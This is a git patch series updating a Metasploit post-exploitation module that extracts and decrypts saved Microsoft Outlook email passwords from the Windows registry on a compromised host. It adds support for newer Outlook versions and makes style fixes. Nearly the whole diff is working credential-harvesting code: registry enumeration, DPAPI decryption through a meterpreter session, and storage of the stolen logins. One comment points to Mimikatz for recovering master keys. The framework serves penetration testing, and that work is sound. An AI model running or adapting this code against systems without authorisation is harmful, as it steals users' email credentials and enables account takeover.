From 8a36a0f410f1b3940b43b60b40c83cd0e62411ed Mon Sep 17 00:00:00 2001 From: rwincey Date: Sun, 24 Mar 2019 18:39:55 -0400 Subject: [PATCH 1/2] Added support for later versions of Outlook, rubocop complaints --- .../windows/gather/credentials/outlook.rb | 155 ++++++++++-------- 1 file changed, 87 insertions(+), 68 deletions(-) diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index 8d5e89720b..32dc0e0cf2 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -12,33 +12,32 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Auxiliary::Report - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction', - 'Description' => %q{ - This module extracts and decrypts saved Microsoft - Outlook (versions 2002-2010) passwords from the Windows - Registry for POP3/IMAP/SMTP/HTTP accounts. - In order for decryption to be successful, this module must be - executed under the same privileges as the user which originally - encrypted the password. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Justin Cacak'], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction', + 'Description' => %q{ + This module extracts and decrypts saved Microsoft + Outlook (versions 2002-2010) passwords from the Windows + Registry for POP3/IMAP/SMTP/HTTP accounts. + In order for decryption to be successful, this module must be + executed under the same privileges as the user which originally + encrypted the password. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Justin Cacak', + 'b0yd' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365) + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ]) + ) end - def prepare_railgun rg = session.railgun - if (!rg.get_dll('crypt32')) + if !rg.get_dll('crypt32') rg.add_dll('crypt32') end end - def decrypt_password(data) rg = session.railgun pid = client.sys.process.getpid @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Post mem = process.memory.allocate(128) process.memory.write(mem, data) - if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86" addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) @@ -60,41 +59,48 @@ class MetasploitModule < Msf::Post end return "" if len == 0 + decrypted_pw = process.memory.read(addr, len) return decrypted_pw end # Just a wrapper to avoid copy pasta and long lines - def get_valdata(k, name) - @key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" - registry_getvaldata("#{@key_base}\\#{k}", name) + def get_valdata(key, name) + registry_getvaldata("#{@key_base}\\#{key}", name) end - def get_registry - #Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries. + def get_registry(outlook_ver) + # Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries. outlook_exists = 0 saved_accounts = 0 - + # Check for registry key based on Outlook version pulled from registry + @key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" next_account_id = get_valdata("", 'NextAccountID') - if next_account_id != nil - #Microsoft Outlook not found + # Default to original registry key for module + if next_account_id.nil? + @key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" + next_account_id = get_valdata("", 'NextAccountID') + end + + if !next_account_id.nil? + # Microsoft Outlook not found print_status "Microsoft Outlook found in Registry..." outlook_exists = 1 registry_enumkeys(@key_base).each do |k| display_name = get_valdata(k, 'Display Name') - if display_name == nil - #Microsoft Outlook found, but no account data saved in this location + if display_name.nil? + # Microsoft Outlook found, but no account data saved in this location next end - #Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module. + # Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module. saved_accounts = 1 got_user_pw = 0 - accountname = get_valdata(k, 'Account Name') + displayname = get_valdata(k, 'Display Name') email = get_valdata(k, 'Email') pop3_server = get_valdata(k, 'POP3 Server') @@ -102,23 +108,23 @@ class MetasploitModule < Msf::Post http_server_url = get_valdata(k, 'HTTP Server URL') imap_server = get_valdata(k, 'IMAP Server') smtp_use_auth = get_valdata(k, 'SMTP Use Auth') - if smtp_use_auth != nil + if !smtp_use_auth.nil? smtp_user = get_valdata(k, 'SMTP User') smtp_password = get_valdata(k, 'SMTP Password') smtp_auth_method = get_valdata(k, 'SMTP Auth Method') end - if pop3_server != nil + if !pop3_server.nil? type = "POP3" - elsif http_server_url != nil + elsif !http_server_url.nil? type = "HTTP" - elsif imap_server != nil + elsif !imap_server.nil? type = "IMAP" else type = "UNKNOWN" end - #Decrypt password and output results. Need to do each separately due to the way Microsoft stores them. + # Decrypt password and output results. Need to do each separately due to the way Microsoft stores them. print_good("Account Found:") print_status(" Type: #{type}") print_status(" User Display Name: #{displayname}") @@ -131,10 +137,10 @@ class MetasploitModule < Msf::Post smtp_port = get_valdata(k, 'SMTP Port') print_status(" User Name: #{pop3_user}") - if pop3_pw == nil + if pop3_pw.nil? print_status(" User Password: ") else - pop3_pw.slice!(0,1) + pop3_pw.slice!(0, 1) pass = decrypt_password(pop3_pw) print_status(" User Password: #{pass}") # Prepare data for creds @@ -143,21 +149,21 @@ class MetasploitModule < Msf::Post user = pop3_user end - if pop3_use_spa != nil #Account for SPA (NTLM auth) + if !pop3_use_spa.nil? # Account for SPA (NTLM auth) print_status(" Secure Password Authentication (SPA): Enabled") end print_status(" Incoming Mail Server (POP3): #{pop3_server}") pop3_use_ssl = get_valdata(k, 'POP3 Use SSL') - if pop3_use_ssl == nil + if pop3_use_ssl.nil? print_status(" POP3 Use SSL: No") else print_status(" POP3 Use SSL: Yes") end pop3_port = get_valdata(k, 'POP3 Port') - if pop3_port == nil + if pop3_port.nil? print_status(" POP3 Port: 110") portnum = 110 else @@ -165,16 +171,16 @@ class MetasploitModule < Msf::Post portnum = pop3_port end - if smtp_use_auth == nil # Account for SMTP servers requiring authentication + if smtp_use_auth.nil? # Account for SMTP servers requiring authentication print_status(" Outgoing Mail Server (SMTP): #{smtp_server}") else print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]") # Check if smtp_auth_method is null. If so, the inbound credentials are utilized - if smtp_auth_method == nil + if smtp_auth_method.nil? smtp_user = pop3_user smtp_decrypted_password = pass else - smtp_password.slice!(0,1) + smtp_password.slice!(0, 1) smtp_decrypted_password = decrypt_password(smtp_password) end print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}") @@ -182,13 +188,13 @@ class MetasploitModule < Msf::Post end smtp_use_ssl = get_valdata(k, 'SMTP Use SSL') - if smtp_use_ssl == nil + if smtp_use_ssl.nil? print_status(" SMTP Use SSL: No") else print_status(" SMTP Use SSL: Yes") end - if smtp_port == nil + if smtp_port.nil? print_status(" SMTP Port: 25") smtp_port = 25 else @@ -201,17 +207,17 @@ class MetasploitModule < Msf::Post http_use_spa = get_valdata(k, 'HTTP Use SPA') print_status(" User Name: #{http_user}") - if http_password == nil + if http_password.nil? print_status(" User Password: ") else - http_password.slice!(0,1) + http_password.slice!(0, 1) pass = decrypt_password(http_password) print_status(" User Password: #{pass}") got_user_pw = 1 host = http_server_url user = http_user - #Detect 80 or 443 for creds + # Detect 80 or 443 for creds http_server_url.downcase! if http_server_url.include? "h\x00t\x00t\x00p\x00s" portnum = 443 @@ -220,7 +226,7 @@ class MetasploitModule < Msf::Post end end - if http_use_spa != nil #Account for SPA (NTLM auth) + if !http_use_spa.nil? # Account for SPA (NTLM auth) print_status(" Secure Password Authentication (SPA): Enabled") end @@ -233,10 +239,10 @@ class MetasploitModule < Msf::Post smtp_port = get_valdata(k, 'SMTP Port') print_status(" User Name: #{imap_user}") - if imap_password == nil + if imap_password.nil? print_status(" User Password: ") else - imap_password.slice!(0,1) + imap_password.slice!(0, 1) pass = decrypt_password(imap_password) print_status(" User Password: #{pass}") got_user_pw = 1 @@ -244,21 +250,21 @@ class MetasploitModule < Msf::Post user = imap_user end - if imap_use_spa != nil #Account for SPA (NTLM auth) + if !imap_use_spa.nil? # Account for SPA (NTLM auth) print_status(" Secure Password Authentication (SPA): Enabled") end print_status(" Incoming Mail Server (IMAP): #{imap_server}") imap_use_ssl = get_valdata(k, 'IMAP Use SSL') - if imap_use_ssl == nil + if imap_use_ssl.nil? print_status(" IMAP Use SSL: No") else print_status(" IMAP Use SSL: Yes") end imap_port = get_valdata(k, 'IMAP Port') - if imap_port == nil + if imap_port.nil? print_status(" IMAP Port: 143") portnum = 143 else @@ -266,16 +272,16 @@ class MetasploitModule < Msf::Post portnum = imap_port end - if smtp_use_auth == nil # Account for SMTP servers requiring authentication + if smtp_use_auth.nil? # Account for SMTP servers requiring authentication print_status(" Outgoing Mail Server (SMTP): #{smtp_server}") else print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]") # Check if smtp_auth_method is null. If so, the inbound credentials are utilized - if smtp_auth_method == nil + if smtp_auth_method.nil? smtp_user = imap_user smtp_decrypted_password = pass else - smtp_password.slice!(0,1) + smtp_password.slice!(0, 1) smtp_decrypted_password = decrypt_password(smtp_password) end print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}") @@ -283,13 +289,13 @@ class MetasploitModule < Msf::Post end smtp_use_ssl = get_valdata(k, 'SMTP Use SSL') - if smtp_use_ssl == nil + if smtp_use_ssl.nil? print_status(" SMTP Use SSL: No") else print_status(" SMTP Use SSL: Yes") end - if smtp_port == nil + if smtp_port.nil? print_status(" SMTP Port: 25") smtp_port = 25 else @@ -310,7 +316,7 @@ class MetasploitModule < Msf::Post credential_data = { origin_type: :session, session_id: session_db_id, - post_reference_name: self.refname, + post_reference_name: refname, username: user, private_data: pass, private_type: :password @@ -327,7 +333,7 @@ class MetasploitModule < Msf::Post create_credential_login(login_data.merge(service_data)) end - if smtp_use_auth != nil + if !smtp_use_auth.nil? service_data = { address: Rex::Socket.getaddress(smtp_server), port: smtp_port, @@ -339,7 +345,7 @@ class MetasploitModule < Msf::Post credential_data = { origin_type: :session, session_id: session_db_id, - post_reference_name: self.refname, + post_reference_name: refname, username: smtp_user, private_data: smtp_decrypted_password, private_type: :password @@ -357,8 +363,7 @@ class MetasploitModule < Msf::Post end print_status("") - - end + end end if outlook_exists == 0 @@ -369,9 +374,23 @@ class MetasploitModule < Msf::Post end + def outlook_version + val = registry_getvaldata("HKCR\\Outlook.Application\\CurVer", "") + if !val.nil? + idx = val.rindex(".") + val[idx + 1..-1] + end + end def run - uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted. + + # Get Outlook version from registry + outlook_ver = outlook_version + fail_with(Failure::NotFound, "Microsoft Outlook version not found in registry.") if outlook_ver.nil? + + print_status("Microsoft Outlook Version: #{outlook_ver}") + uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted. + # **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth. if is_system? print_error("This module is running under #{uid}.") @@ -380,7 +399,7 @@ class MetasploitModule < Msf::Post else print_status("Searching for Microsoft Outlook in Registry...") prepare_railgun - get_registry() + get_registry(outlook_ver) end print_status("Complete") From 9d71020d9ce6515f674423f86ad0c8053ad89035 Mon Sep 17 00:00:00 2001 From: rwincey Date: Sun, 24 Mar 2019 19:11:22 -0400 Subject: [PATCH 2/2] Removed credit --- modules/post/windows/gather/credentials/outlook.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index 32dc0e0cf2..8446b58b1d 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -24,8 +24,7 @@ class MetasploitModule < Msf::Post encrypted the password. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Justin Cacak', - 'b0yd' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365) + 'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365) 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ]) )